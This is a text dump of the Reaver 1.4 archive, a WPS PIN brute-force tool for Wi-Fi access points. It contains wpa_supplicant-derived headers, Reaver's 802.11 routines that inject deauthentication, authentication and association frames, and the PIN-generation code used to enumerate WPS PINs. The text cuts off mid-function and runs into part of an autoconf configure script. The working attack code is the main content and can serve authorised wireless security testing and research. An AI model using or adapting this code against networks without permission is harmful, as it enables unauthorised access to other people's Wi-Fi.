WPA_GLOBAL_CTRL_IFACE_PORT 9878 #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef __cplusplus } #endif #endif /* WPA_CTRL_H */ reaver-1.4/src/common/eapol_common.h0000755000175000017500000000214411705505256017106 0ustar reaverreaver/* * EAPOL definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef EAPOL_COMMON_H #define EAPOL_COMMON_H /* IEEE Std 802.1X-2004 */ #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee802_1x_hdr { u8 version; u8 type; be16 length; /* followed by length octets of data */ } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define EAPOL_VERSION 2 enum { IEEE802_1X_TYPE_EAP_PACKET = 0, IEEE802_1X_TYPE_EAPOL_START = 1, IEEE802_1X_TYPE_EAPOL_LOGOFF = 2, IEEE802_1X_TYPE_EAPOL_KEY = 3, IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4 }; enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2, EAPOL_KEY_TYPE_WPA = 254 }; #endif /* EAPOL_COMMON_H */ reaver-1.4/src/common/ieee802_11_common.h0000755000175000017500000000361711705505256017456 0ustar reaverreaver/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_COMMON_H #define IEEE802_11_COMMON_H /* Parsed Information Elements */ struct ieee802_11_elems { const u8 *ssid; const u8 *supp_rates; const u8 *fh_params; const u8 *ds_params; const u8 *cf_params; const u8 *tim; const u8 *ibss_params; const u8 *challenge; const u8 *erp_info; const u8 *ext_supp_rates; const u8 *wpa_ie; const u8 *rsn_ie; const u8 *wmm; /* WMM Information or Parameter Element */ const u8 *wmm_tspec; const u8 *wps_ie; const u8 *power_cap; const u8 *supp_channels; const u8 *mdie; const u8 *ftie; const u8 *timeout_int; const u8 *ht_capabilities; const u8 *ht_operation; const u8 *vendor_ht_cap; u8 ssid_len; u8 supp_rates_len; u8 fh_params_len; u8 ds_params_len; u8 cf_params_len; u8 tim_len; u8 ibss_params_len; u8 challenge_len; u8 erp_info_len; u8 ext_supp_rates_len; u8 wpa_ie_len; u8 rsn_ie_len; u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */ u8 wmm_tspec_len; u8 wps_ie_len; u8 power_cap_len; u8 supp_channels_len; u8 mdie_len; u8 ftie_len; u8 timeout_int_len; u8 ht_capabilities_len; u8 ht_operation_len; u8 vendor_ht_cap_len; }; typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes; ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors); int ieee802_11_ie_count(const u8 *ies, size_t ies_len); struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type); #endif /* IEEE802_11_COMMON_H */ reaver-1.4/src/common/defs.h0000755000175000017500000001551411705505256015364 0ustar reaverreaver/* * WPA Supplicant - Common definitions * Copyright (c) 2004-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DEFS_H #define DEFS_H #ifdef FALSE #undef FALSE #endif #ifdef TRUE #undef TRUE #endif typedef enum { FALSE = 0, TRUE = 1 } Boolean; #define WPA_CIPHER_NONE BIT(0) #define WPA_CIPHER_WEP40 BIT(1) #define WPA_CIPHER_WEP104 BIT(2) #define WPA_CIPHER_TKIP BIT(3) #define WPA_CIPHER_CCMP BIT(4) #ifdef CONFIG_IEEE80211W #define WPA_CIPHER_AES_128_CMAC BIT(5) #endif /* CONFIG_IEEE80211W */ #define WPA_KEY_MGMT_IEEE8021X BIT(0) #define WPA_KEY_MGMT_PSK BIT(1) #define WPA_KEY_MGMT_NONE BIT(2) #define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3) #define WPA_KEY_MGMT_WPA_NONE BIT(4) #define WPA_KEY_MGMT_FT_IEEE8021X BIT(5) #define WPA_KEY_MGMT_FT_PSK BIT(6) #define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7) #define WPA_KEY_MGMT_PSK_SHA256 BIT(8) #define WPA_KEY_MGMT_WPS BIT(9) static inline int wpa_key_mgmt_wpa_ieee8021x(int akm) { return akm == WPA_KEY_MGMT_IEEE8021X || akm == WPA_KEY_MGMT_FT_IEEE8021X || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } static inline int wpa_key_mgmt_wpa_psk(int akm) { return akm == WPA_KEY_MGMT_PSK || akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_PSK_SHA256; } static inline int wpa_key_mgmt_ft(int akm) { return akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_FT_IEEE8021X; } static inline int wpa_key_mgmt_sha256(int akm) { return akm == WPA_KEY_MGMT_PSK_SHA256 || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } #define WPA_PROTO_WPA BIT(0) #define WPA_PROTO_RSN BIT(1) #define WPA_AUTH_ALG_OPEN BIT(0) #define WPA_AUTH_ALG_SHARED BIT(1) #define WPA_AUTH_ALG_LEAP BIT(2) #define WPA_AUTH_ALG_FT BIT(3) enum wpa_alg { WPA_ALG_NONE, WPA_ALG_WEP, WPA_ALG_TKIP, WPA_ALG_CCMP, WPA_ALG_IGTK, WPA_ALG_PMK }; /** * enum wpa_cipher - Cipher suites */ enum wpa_cipher { CIPHER_NONE, CIPHER_WEP40, CIPHER_TKIP, CIPHER_CCMP, CIPHER_WEP104 }; /** * enum wpa_key_mgmt - Key management suites */ enum wpa_key_mgmt { KEY_MGMT_802_1X, KEY_MGMT_PSK, KEY_MGMT_NONE, KEY_MGMT_802_1X_NO_WPA, KEY_MGMT_WPA_NONE, KEY_MGMT_FT_802_1X, KEY_MGMT_FT_PSK, KEY_MGMT_802_1X_SHA256, KEY_MGMT_PSK_SHA256, KEY_MGMT_WPS }; /** * enum wpa_states - wpa_supplicant state * * These enumeration values are used to indicate the current wpa_supplicant * state (wpa_s->wpa_state). The current state can be retrieved with * wpa_supplicant_get_state() function and the state can be changed by calling * wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the * wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used * to access the state variable. */ enum wpa_states { /** * WPA_DISCONNECTED - Disconnected state * * This state indicates that client is not associated, but is likely to * start looking for an access point. This state is entered when a * connection is lost. */ WPA_DISCONNECTED, /** * WPA_INACTIVE - Inactive state (wpa_supplicant disabled) * * This state is entered if there are no enabled networks in the * configuration. wpa_supplicant is not trying to associate with a new * network and external interaction (e.g., ctrl_iface call to add or * enable a network) is needed to start association. */ WPA_INACTIVE, /** * WPA_SCANNING - Scanning for a network * * This state is entered when wpa_supplicant starts scanning for a * network. */ WPA_SCANNING, /** * WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to authenticate with and the driver is configured to try to * authenticate with this BSS. This state is used only with drivers * that use wpa_supplicant as the SME. */ WPA_AUTHENTICATING, /** * WPA_ASSOCIATING - Trying to associate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to associate with and the driver is configured to try to associate * with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this * state is entered when the driver is configured to try to associate * with a network using the configured SSID and security policy. */ WPA_ASSOCIATING, /** * WPA_ASSOCIATED - Association completed * * This state is entered when the driver reports that association has * been successfully completed with an AP. If IEEE 802.1X is used * (with or without WPA/WPA2), wpa_supplicant remains in this state * until the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_ASSOCIATED, /** * WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress * * This state is entered when WPA/WPA2 4-Way Handshake is started. In * case of WPA-PSK, this happens when receiving the first EAPOL-Key * frame after association. In case of WPA-EAP, this state is entered * when the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_4WAY_HANDSHAKE, /** * WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress * * This state is entered when 4-Way Key Handshake has been completed * (i.e., when the supplicant sends out message 4/4) and when Group * Key rekeying is started by the AP (i.e., when supplicant receives * message 1/2). */ WPA_GROUP_HANDSHAKE, /** * WPA_COMPLETED - All authentication completed * * This state is entered when the full authentication process is * completed. In case of WPA2, this happens when the 4-Way Handshake is * successfully completed. With WPA, this state is entered after the * Group Key Handshake; with IEEE 802.1X (non-WPA) connection is * completed after dynamic keys are received (or if not used, after * the EAP authentication has been completed). With static WEP keys and * plaintext connections, this state is entered when an association * has been completed. * * This state indicates that the supplicant has completed its * processing for the association phase and that data connection is * fully configured. */ WPA_COMPLETED }; #define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0 #define MLME_SETPROTECTION_PROTECT_TYPE_RX 1 #define MLME_SETPROTECTION_PROTECT_TYPE_TX 2 #define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3 #define MLME_SETPROTECTION_KEY_TYPE_GROUP 0 #define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1 /** * enum mfp_options - Management frame protection (IEEE 802.11w) options */ enum mfp_options { NO_MGMT_FRAME_PROTECTION = 0, MGMT_FRAME_PROTECTION_OPTIONAL = 1, MGMT_FRAME_PROTECTION_REQUIRED = 2 }; /** * enum hostapd_hw_mode - Hardware mode */ enum hostapd_hw_mode { HOSTAPD_MODE_IEEE80211B, HOSTAPD_MODE_IEEE80211G, HOSTAPD_MODE_IEEE80211A, NUM_HOSTAPD_MODES }; #endif /* DEFS_H */ reaver-1.4/src/80211.c0000644000175000017500000004722611705505256013623 0ustar reaverreaver/* * Reaver - 802.11 functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "80211.h" /*Reads the next packet from pcap_next() and validates the FCS. */ const u_char *next_packet(struct pcap_pkthdr *header) { const u_char *packet = NULL; /* Loop until we get a valid packet, or until we run out of packets */ while((packet = pcap_next(get_handle(), header)) != NULL) { if(get_validate_fcs()) { if(check_fcs(packet, header->len)) { break; } else { cprintf(INFO, "[!] Found packet with bad FCS, skipping...\n"); } } else { break; } } return packet; } /* * Waits for a beacon packet from the target AP and populates the globule->ap_capabilities field. * This is used for obtaining the capabilities field and AP SSID. */ void read_ap_beacon() { struct pcap_pkthdr header; const u_char *packet = NULL; struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct beacon_management_frame *beacon = NULL; int channel = 0; size_t tag_offset = 0; time_t start_time = 0; set_ap_capability(0); start_time = time(NULL); while(get_ap_capability() == 0) { packet = next_packet(&header); if(packet == NULL) { break; } if(header.len >= MIN_BEACON_SIZE) { rt_header = (struct radio_tap_header *) radio_header(packet, header.len); frame_header = (struct dot11_frame_header *) (packet + rt_header->len); if(is_target(frame_header)) { if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON) { beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header)); set_ap_capability(beacon->capability); /* Obtain the SSID and channel number from the beacon packet */ tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); channel = parse_beacon_tags(packet, header.len); /* If no channel was manually specified, switch to the AP's current channel */ if(!get_fixed_channel() && get_auto_channel_select() && channel > 0 && channel != get_channel()) { change_channel(channel); set_channel(channel); } break; } } } /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */ if((time(NULL) - start_time) >= BEACON_WAIT_TIME) { next_channel(); start_time = time(NULL); } } } /* Extracts the signal strength field (if any) from the packet's radio tap header */ int8_t signal_strength(const u_char *packet, size_t len) { int8_t ssi = 0; int offset = sizeof(struct radio_tap_header); struct radio_tap_header *header = NULL; if(has_rt_header() && (len > (sizeof(struct radio_tap_header) + TSFT_SIZE + FLAGS_SIZE + RATE_SIZE + CHANNEL_SIZE + FHSS_FLAG))) { header = (struct radio_tap_header *) packet; if((header->flags & SSI_FLAG) == SSI_FLAG) { if((header->flags & TSFT_FLAG) == TSFT_FLAG) { offset += TSFT_SIZE; } if((header->flags & FLAGS_FLAG) == FLAGS_FLAG) { offset += FLAGS_SIZE; } if((header->flags & RATE_FLAG) == RATE_FLAG) { offset += RATE_SIZE; } if((header->flags & CHANNEL_FLAG) == CHANNEL_FLAG) { offset += CHANNEL_SIZE; } if((header->flags & FHSS_FLAG) == FHSS_FLAG) { offset += FHSS_FLAG; } if(offset < len) { ssi = (int8_t) packet[offset]; } } } return ssi; } /* * Determines if the target AP has locked its WPS state or not. * Returns 0 if not locked, 1 if locked. */ int is_wps_locked() { int locked = 0; struct libwps_data wps = { 0 }; struct pcap_pkthdr header; const u_char *packet = NULL; struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; while(1) { packet = next_packet(&header); if(packet == NULL) { break; } if(header.len >= MIN_BEACON_SIZE) { rt_header = (struct radio_tap_header *) radio_header(packet, header.len); frame_header = (struct dot11_frame_header *) (packet + rt_header->len); if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) { if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON) { if(parse_wps_parameters(packet, header.len, &wps)) { if(wps.locked == WPSLOCKED) { locked = 1; } break; } } } } } return locked; } /* Deauths and re-associates a MAC address with the AP. Returns 0 on failure, 1 for success. */ int reassociate() { int tries = 0, retval = 0; /* Make sure we can still see beacons (also, read_ap_beaon will ensure we're on the right channel) */ read_ap_beacon(); if(!get_external_association()) { /* Deauth to void any previous association with the AP */ deauthenticate(); /* Try MAX_AUTH_TRIES times to authenticate to the AP */ do { authenticate(); tries++; } while((associate_recv_loop() != AUTH_OK) && (tries < MAX_AUTH_TRIES)); /* If authentication was successful, try MAX_AUTH_TRIES to associate with the AP */ if(tries < MAX_AUTH_TRIES) { tries = 0; do { associate(); tries++; } while((associate_recv_loop() != ASSOCIATE_OK) && (tries < MAX_AUTH_TRIES)); } if(tries < MAX_AUTH_TRIES) { retval = 1; } else { retval = 0; } } else { retval = 1; } return retval; } /* Deauthenticate ourselves from the AP */ void deauthenticate() { const void *radio_tap = NULL, *dot11_frame = NULL, *packet = NULL; size_t radio_tap_len = 0, dot11_frame_len = 0, packet_len = 0; radio_tap = build_radio_tap_header(&radio_tap_len); dot11_frame = build_dot11_frame_header(FC_DEAUTHENTICATE, &dot11_frame_len); packet_len = radio_tap_len + dot11_frame_len + DEAUTH_REASON_CODE_SIZE; if(radio_tap && dot11_frame) { packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, radio_tap, radio_tap_len); memcpy((void *) ((char *) packet+radio_tap_len), dot11_frame, dot11_frame_len); memcpy((void *) ((char *) packet+radio_tap_len+dot11_frame_len), DEAUTH_REASON_CODE, DEAUTH_REASON_CODE_SIZE); pcap_inject(get_handle(), packet, packet_len); free((void *) packet); } } if(radio_tap) free((void *) radio_tap); if(dot11_frame) free((void *) dot11_frame); return; } /* Authenticate ourselves with the AP */ void authenticate() { const void *radio_tap = NULL, *dot11_frame = NULL, *management_frame = NULL, *packet = NULL; size_t radio_tap_len = 0, dot11_frame_len = 0, management_frame_len = 0, packet_len = 0; radio_tap = build_radio_tap_header(&radio_tap_len); dot11_frame = build_dot11_frame_header(FC_AUTHENTICATE, &dot11_frame_len); management_frame = build_authentication_management_frame(&management_frame_len); packet_len = radio_tap_len + dot11_frame_len + management_frame_len; if(radio_tap && dot11_frame && management_frame) { packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, radio_tap, radio_tap_len); memcpy((void *) ((char *) packet+radio_tap_len), dot11_frame, dot11_frame_len); memcpy((void *) ((char *) packet+radio_tap_len+dot11_frame_len), management_frame, management_frame_len); pcap_inject(get_handle(), packet, packet_len); free((void *) packet); } } if(radio_tap) free((void *) radio_tap); if(dot11_frame) free((void *) dot11_frame); if(management_frame) free((void *) management_frame); return; } /* Associate with the AP */ void associate() { const void *radio_tap = NULL, *dot11_frame = NULL, *management_frame = NULL, *ssid_tag = NULL, *wps_tag = NULL, *rates_tag = NULL, *packet = NULL; size_t radio_tap_len = 0, dot11_frame_len = 0, management_frame_len = 0, ssid_tag_len = 0, wps_tag_len = 0, rates_tag_len = 0, packet_len = 0, offset = 0; radio_tap = build_radio_tap_header(&radio_tap_len); dot11_frame = build_dot11_frame_header(FC_ASSOCIATE, &dot11_frame_len); management_frame = build_association_management_frame(&management_frame_len); ssid_tag = build_ssid_tagged_parameter(&ssid_tag_len); rates_tag = build_supported_rates_tagged_parameter(&rates_tag_len); wps_tag = build_wps_tagged_parameter(&wps_tag_len); packet_len = radio_tap_len + dot11_frame_len + management_frame_len + ssid_tag_len + wps_tag_len + rates_tag_len; if(radio_tap && dot11_frame && management_frame && ssid_tag && wps_tag && rates_tag) { packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, radio_tap, radio_tap_len); offset += radio_tap_len; memcpy((void *) ((char *) packet+offset), dot11_frame, dot11_frame_len); offset += dot11_frame_len; memcpy((void *) ((char *) packet+offset), management_frame, management_frame_len); offset += management_frame_len; memcpy((void *) ((char *) packet+offset), ssid_tag, ssid_tag_len); offset += ssid_tag_len; memcpy((void *) ((char *) packet+offset), rates_tag, rates_tag_len); offset += rates_tag_len; memcpy((void *) ((char *) packet+offset), wps_tag, wps_tag_len); pcap_inject(get_handle(), packet, packet_len); free((void *) packet); } } if(radio_tap) free((void *) radio_tap); if(dot11_frame) free((void *) dot11_frame); if(management_frame) free((void *) management_frame); if(ssid_tag) free((void *) ssid_tag); if(wps_tag) free((void *) wps_tag); if(rates_tag) free((void *) rates_tag); return; } /* Waits for authentication and association responses from the target AP */ int associate_recv_loop() { struct pcap_pkthdr header; const u_char *packet = NULL; struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *dot11_frame = NULL; struct authentication_management_frame *auth_frame = NULL; struct association_response_management_frame *assoc_frame = NULL; int ret_val = 0, start_time = 0; start_time = time(NULL); while((time(NULL) - start_time) < ASSOCIATE_WAIT_TIME) { packet = next_packet(&header); if(packet == NULL) { break; } if(header.len >= MIN_AUTH_SIZE) { rt_header = (struct radio_tap_header *) radio_header(packet, header.len); dot11_frame = (struct dot11_frame_header *) (packet + rt_header->len); if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) && (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0)) { if(dot11_frame->fc.type == MANAGEMENT_FRAME) { auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len); assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len); /* Did we get an authentication packet with a successful status? */ if((dot11_frame->fc.sub_type == SUBTYPE_AUTHENTICATION) && (auth_frame->status == AUTHENTICATION_SUCCESS)) { ret_val = AUTH_OK; break; } /* Did we get an association packet with a successful status? */ else if((dot11_frame->fc.sub_type == SUBTYPE_ASSOCIATION) && (assoc_frame->status == ASSOCIATION_SUCCESS)) { ret_val = ASSOCIATE_OK; break; } } } } } return ret_val; } /* Given a beacon / probe response packet, returns the reported encryption type (WPA, WEP, NONE) THIS IS BROKE!!! DO NOT USE!!! */ enum encryption_type supported_encryption(const u_char *packet, size_t len) { enum encryption_type enc = NONE; const u_char *tag_data = NULL; struct radio_tap_header *rt_header = NULL; size_t vlen = 0, voff = 0, tag_offset = 0, tag_len = 0, offset = 0; struct beacon_management_frame *beacon = NULL; if(len > MIN_BEACON_SIZE) { rt_header = (struct radio_tap_header *) radio_header(packet, len); beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header)); offset = tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); tag_len = len - tag_offset; tag_data = (const u_char *) (packet + tag_offset); if((beacon->capability & CAPABILITY_WEP) == CAPABILITY_WEP) { enc = WEP; tag_data = parse_ie_data(tag_data, tag_len, (uint8_t) RSN_TAG_NUMBER, &vlen, &voff); if(tag_data && vlen > 0) { enc = WPA; free((void *) tag_data); } else { while(offset < len) { tag_len = len - offset; tag_data = (const u_char *) (packet + offset); tag_data = parse_ie_data(tag_data, tag_len, (uint8_t) VENDOR_SPECIFIC_TAG, &vlen, &voff); if(vlen > WPA_IE_ID_LEN) { if(memcmp(tag_data, WPA_IE_ID, WPA_IE_ID_LEN) == 0) { enc = WPA; break; } free((void *) tag_data); } offset = tag_offset + voff + vlen; } } } } return enc; } /* Given the tagged parameter sets from a beacon packet, locate the AP's SSID and return its current channel number */ int parse_beacon_tags(const u_char *packet, size_t len) { char *ssid = NULL; const u_char *tag_data = NULL; unsigned char *ie = NULL, *channel_data = NULL; size_t ie_len = 0, ie_offset = 0, tag_len = 0, tag_offset = 0; int channel = 0; struct radio_tap_header *rt_header = NULL; rt_header = (struct radio_tap_header *) radio_header(packet, len); tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); if(tag_offset < len) { tag_len = (len - tag_offset); tag_data = (const u_char *) (packet + tag_offset); /* If no SSID was manually specified, parse and save the AP SSID */ if(get_ssid() == NULL) { ie = parse_ie_data(tag_data, tag_len, (uint8_t) SSID_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { /* Return data is not null terminated; allocate ie_len+1 and memcpy string */ ssid = malloc(ie_len+1); if(ssid) { memset(ssid, 0, (ie_len+1)); memcpy(ssid, ie, ie_len); set_ssid(ssid); free(ssid); } free(ie); } } ie = parse_ie_data(tag_data, tag_len, (uint8_t) RATES_TAG_NUMBER, &ie_len, &ie_offset); if(ie) { set_ap_rates(ie, ie_len); free(ie); } channel_data = parse_ie_data(tag_data, tag_len, (uint8_t) CHANNEL_TAG_NUMBER, &ie_len, &ie_offset); if(channel_data) { if(ie_len == 1) { memcpy((int *) &channel, channel_data, ie_len); } free(channel_data); } } return channel; } /* Gets the data for a given IE inside a tagged parameter list */ unsigned char *parse_ie_data(const u_char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset) { unsigned char *tag_data = NULL; int offset = 0, tag_size = 0; struct tagged_parameter *tag = NULL; tag_size = sizeof(struct tagged_parameter); *ie_len = 0; *ie_offset = 0; while((offset + tag_size) < len) { tag = (struct tagged_parameter *) (data + offset); /* Check for the tag number and a sane tag length value */ if((tag->number == tag_number) && (tag->len <= (len - offset - tag_size)) ) { tag_data = malloc(tag->len); if(tag_data) { memset(tag_data, 0, (tag->len)); memcpy(tag_data, (data + offset + tag_size), tag->len); *ie_len = tag->len; *ie_offset = offset; } break; } offset += (tag_size + tag->len); } return tag_data; } /* Validates a packet's reported FCS value */ int check_fcs(const u_char *packet, size_t len) { int offset = 0, match = 0; uint32_t fcs = 0, fcs_calc = 0; struct radio_tap_header *rt_header = NULL; if(len > 4) { /* Get the packet's reported FCS (last 4 bytes of the packet) */ memcpy((uint32_t *) &fcs, (packet + (len-4)), 4); /* FCS is not calculated over the radio tap header */ if(has_rt_header()) { rt_header = (struct radio_tap_header *) packet; offset += rt_header->len; } if(len > offset) { /* FCS is the inverse of the CRC32 checksum of the data packet minus the frame's FCS and radio tap header (if any) */ fcs_calc = ~crc32((char *) packet+offset, (len-offset-4)); if(fcs_calc == fcs) { match = 1; } } } return match; } /* Checks a given BSSID to see if it's on our target list */ int is_target(struct dot11_frame_header *frame_header) { int yn = 1; if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) != 0) { if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) != 0) { yn = 0; } } return yn; } /* Make best guess to determine if a radio tap header is present */ int has_rt_header(void) { int yn = 0; if(pcap_datalink(get_handle()) == DLT_IEEE802_11_RADIO) { yn = 1; } return yn; } /* * Returns a pointer to the radio tap header. If there is no radio tap header, * it returns a pointer to a dummy radio tap header. */ const u_char *radio_header(const u_char *packet, size_t len) { if(has_rt_header()) { return packet; } else { return (u_char *) FAKE_RADIO_TAP_HEADER; } } reaver-1.4/src/pins.c0000644000175000017500000001135511705505256014113 0ustar reaverreaver/* * Reaver - WPS PIN functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "pins.h" /* Builds a WPS PIN from the key tables */ char *build_wps_pin() { char *key = NULL, *pin = NULL; int pin_len = PIN_SIZE + 1; pin = malloc(pin_len); key = malloc(pin_len); if(pin && key) { memset(key, 0, pin_len); memset(pin, 0, pin_len); /* Generate a 7-digit pin from the given key index values */ snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(get_p2_index())); /* Generate and append the pin checksum digit */ snprintf(pin, pin_len, "%s%d", key, wps_pin_checksum(atoi(key))); free(key); } return pin; } /* * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays, * and populate the wps structure with the new pin. */ char *build_next_pin() { char *pin = NULL; struct wps_data *wps = get_wps(); /* Remove previous pin */ wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e); /* Build a new pin */ pin = build_wps_pin(); if(pin) { /* Add the new pin */ if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0) { free(pin); pin = NULL; } } return pin; } /* Generate the p1 and p2 pin arrays */ void generate_pins() { int i = 0, index = 0; /* If the first half of the pin was not specified, generate a list of possible pins */ if(!get_static_p1()) { /* * Look for P1 keys marked as priority. These are pins that have been * reported to be commonly used on some APs and should be tried first. */ for(index=0, i=0; i/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c 